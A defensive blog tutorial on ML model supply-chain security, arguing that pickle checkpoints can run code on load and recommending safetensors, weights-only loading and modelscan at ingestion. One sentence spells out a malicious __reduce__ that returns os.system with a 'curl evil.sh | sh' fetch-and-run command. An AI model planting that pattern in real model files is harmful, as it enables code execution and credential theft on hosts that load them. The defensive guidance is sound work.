TL;DR
A pickle-based model file (.bin, .pt, .pth, .ckpt) can run arbitrary code on the box that loads it. safetensors stores only tensor bytes and a JSON header, so loading it cannot execute anything. Prefer safetensors for everything you pull or publish, block raw pickle at the door, and scan every artifact before it reaches your internal registry. Treat a model file exactly like an unsigned binary from the internet, because that is what a pickle checkpoint is.
Here is the part most teams miss: a model checkpoint is not data. A classic PyTorch .bin or .pth file is a pickle, and a Python pickle is a tiny program that runs when you load it. The single line torch.load('pytorch_model.bin') can open a reverse shell, read your cloud credentials, or drop a miner, and nothing about the call looks dangerous. You already treat an unsigned binary pulled off the internet as hostile until proven otherwise. A pickle model deserves the same suspicion, and for years almost nobody gave it that.
The formats you will meet
Pull ten repos off the Hub and you will see five file extensions. They are not interchangeable, and the gap between them is a security boundary, not a style preference. Here is the field guide before we get into why it matters.
| Format | Extensions | What is inside | Code on load? |
|---|---|---|---|
| Pickle (PyTorch) | .bin .pt .pth .ckpt | Objects plus reconstruction calls | Yes |
| Pickle (sklearn) | .pkl .joblib | Same pickle protocol | Yes |
| safetensors | .safetensors | Tensor bytes plus a JSON index | No |
| GGUF | .gguf | Weights plus a llama.cpp graph | No Python |
| ONNX | .onnx | A computation graph, no Python | No Python |
Two of these families load code. The pickle family (anything PyTorch wrote the old way, the .ckpt files from older Stable Diffusion forks, and most joblib dumps) runs a program when you open it. safetensors, GGUF and ONNX are data containers. GGUF and ONNX carry a computation graph but not arbitrary Python, so the blast radius is far smaller, though not exactly zero. safetensors carries the least of all: numbers and a name index, full stop.
Why a pickle file is a remote shell
Pickle is Python native object serializer, and it was built to rebuild any object, including objects whose reconstruction means calling a function. That hook is the __reduce__ method. Craft a class whose __reduce__ returns (os.system, ('curl evil.sh | sh',)), and the unpickler does not read data. It calls os.system for you, on your host, with your permissions, the instant the file is opened. No warning, no prompt, no inference.
This is not theoretical. Security researchers keep finding weaponized checkpoints on public hubs that fingerprint the host, steal cloud tokens, and install remote-access trojans, and attackers have already shown they can dodge naive scanners by prepending the payload and recompressing the archive. The detail that matters for you: the malicious code runs during load, before a single forward pass. A model you never deploy can still own the box that merely inspected it.
The infrastructure translation is exact. A pickle checkpoint is an unsigned executable from an untrusted publisher. You would never let one of those run as root on a shared host because someone on the data team thought it looked useful. A model file gets the same rule, and the format you accept is the policy that enforces it.
What safetensors is
safetensors solves the problem by removing the capability, not by scanning for abuse. The format has no opcode for ‘call a function’. It physically cannot describe one. A safetensors file is three parts laid end to end.
First comes an 8-byte little-endian integer that says how long the header is. Then a JSON header that lists every tensor by name with its dtype, shape, and the byte range where its data sits. Then one contiguous block of raw tensor bytes. That is the entire format. There is no place to hide code because the grammar has no verbs, only nouns.
The properties you get for free
Because the header is just an offset table, a loader can memory-map the file and read tensors lazily, which is why large safetensors models load faster and with a flatter memory curve than the pickle equivalent. The header size is capped (the reference implementation rejects headers over 100MB) to close the obvious denial-of-service door. None of this is the headline. The headline is that the worst thing a malicious safetensors file can do is be malformed and fail to parse, which is a crash, not a compromise.
Converting and loading without getting burned
You will still meet pickle checkpoints, because plenty of older or smaller repos never published a safetensors variant. The move is to convert once, in a controlled spot, and serve the safe file everywhere after. Recent PyTorch makes torch.load default to weights-only deserialization, but be explicit about it so a downgraded environment does not silently reopen the hole.
# Convert an untrusted pickle checkpoint to safetensors, once, in a sandbox
from safetensors.torch import save_file, load_file
import torch
# 1. deserialize the pickle ONE time, weights only, on an isolated host
state = torch.load('pytorch_model.bin', map_location='cpu', weights_only=True)
# 2. re-serialize as safetensors (data only, no code path)
save_file(state, 'model.safetensors')
# 3. from here on, load the safe file everywhere
weights = load_file('model.safetensors')
print(len(weights), 'tensors loaded')Expected output is a count like 291 tensors loaded. The useful failure mode is the good one: if the checkpoint smuggles a non-tensor callable, weights_only=True refuses it and raises an UnpicklingError naming the unsupported global. That error is not a problem to work around. It is the guard doing its job, telling you the file wanted to run something.
On the publishing side, the libraries already default to safe. transformers writes safetensors when you call save_pretrained, and you can be explicit on both ends.
from transformers import AutoModelForCausalLM
model = AutoModelForCausalLM.from_pretrained('your-org/your-model', use_safetensors=True)
model.save_pretrained('out', safe_serialization=True) # writes model.safetensorsFor how those weights got there in the first place (fine-tuning, quantization, the maths under the file), the Generative AI series covers the concepts vendor-neutral. Here the point is narrower: whatever produced the weights, ship them as safetensors.
Scan before anything reaches your registry
Preferring safetensors covers what you pull deliberately. It does not cover the repo that ships a clean safetensors file next to a poisoned .bin, or the one that hides a payload in a .pkl tucked in a subfolder. So the same control you run on container images applies to models: scan at ingestion, before the artifact lands in the internal store your GPU hosts pull from.
The Hub already runs several scanners on every uploaded file, including the open-source Picklescan, ProtectAI model scanner, and a JFrog scanner, and it surfaces the verdict on the file page. Treat that as a first filter, not a guarantee, because blacklist-based scanners miss novel tricks. Run your own pass on the way in.
# open-source scanner, run at the ingestion gate
pip install modelscan
modelscan -p ./downloaded-model
# clean -> promote to the internal store; finding -> quarantine, do not loadThis is the same shape as the registry discipline in the Harbor for Beginners series. A model hub is to weights what a container registry is to images, and the right place to enforce policy is the gate where artifacts enter: RBAC deciding who can push, scanning deciding what is allowed through.
Worked example
A repo ships model.safetensors at the root and a quietly added utils/helper.pkl in a subfolder. Your pull script grabs the whole repo. The safetensors file is clean, so a human glance says fine. At ingestion, modelscan walks every file and flags helper.pkl for a GLOBAL reference to posix.system. The artifact is quarantined before it lands in the internal store, and the GPU host never sees it. The safetensors-only rule plus a directory-wide scan caught what reading the model card never would.
weights_only=True, and treat a conversion that throws UnpicklingError as a finding to investigate, not an error to silence. Never run an unverified conversion on a host that holds secrets your platform depends on.GGUF and ONNX: when a different format earns its place
safetensors is the default answer, but it is not the only safe one, and pretending it is will get you odd looks from the inference team. Two other formats show up constantly, and both are data-only in the way that matters: neither runs arbitrary Python when you open it.
GGUF is the format the llama.cpp ecosystem uses. It bundles the weights, the quantization, and enough graph metadata to run a model on CPU or a mixed CPU and GPU box without a Python stack at all. For an infra reader the appeal is operational: one self-contained file, no transformers install, no CUDA toolkit to babysit, which is why GGUF is what you reach for when you want a model running on a modest host or at the edge. The supply-chain risk sits closer to safetensors than to pickle. The trade-off is that GGUF is tied to the llama.cpp family and its quantization scheme, so it is a serving-side choice, not a training format.
ONNX is the interchange format. It captures the computation graph in a framework-neutral form, so a model trained in PyTorch can run under ONNX Runtime, TensorRT, or another engine. That portability is the point: it decouples the model from the framework that produced it, which is exactly what you want when the team that trains and the team that serves are not the same people. It carries a graph, not Python, so again the load path is data, not code. We get into ONNX properly when the series reaches the optimum and quantization part, where it becomes the hinge between a model and the hardware backend you own.
The rule of thumb
safetensors for storage, training, and anything that moves through the Hub. GGUF when llama.cpp is your runtime. ONNX when you need to cross frameworks or feed a hardware-specific engine. All three keep code out of the load path. The one family you keep on the far side of the gate is pickle. If a publisher only offers a .bin, that is a conversion job and a scan, not a shortcut.
How I’d play it
Use safetensors for everything: every model you pull, convert, fine-tune, and publish. Why: the format makes code execution impossible by construction, loads faster through memory-mapping, and is now the default across the Hub and the libraries, so you are swimming with the current. When not: GGUF if you serve through llama.cpp, ONNX if your runtime needs the graph, but raw pickle never, not for convenience, not for one old checkpoint. What to validate first: that torch.load in your environment runs weights-only, that your ingestion scans models the same way it scans images, and that nobody can push an unscanned .bin straight to the host your data scientists share. Do those three and the file format stops being a quiet hole in an otherwise locked-down platform.
Your move this week: audit one shared GPU host. List every model file on it and flag anything that is not safetensors. The count usually surprises people.
References
- safetensors security audit and why it became the default (Hugging Face)
- Pickle scanning on the Hub (Hugging Face docs)
- Third-party model scanning with Protect AI (Hugging Face docs)
- Remote code execution in modern AI/ML formats (Unit 42)


DrJha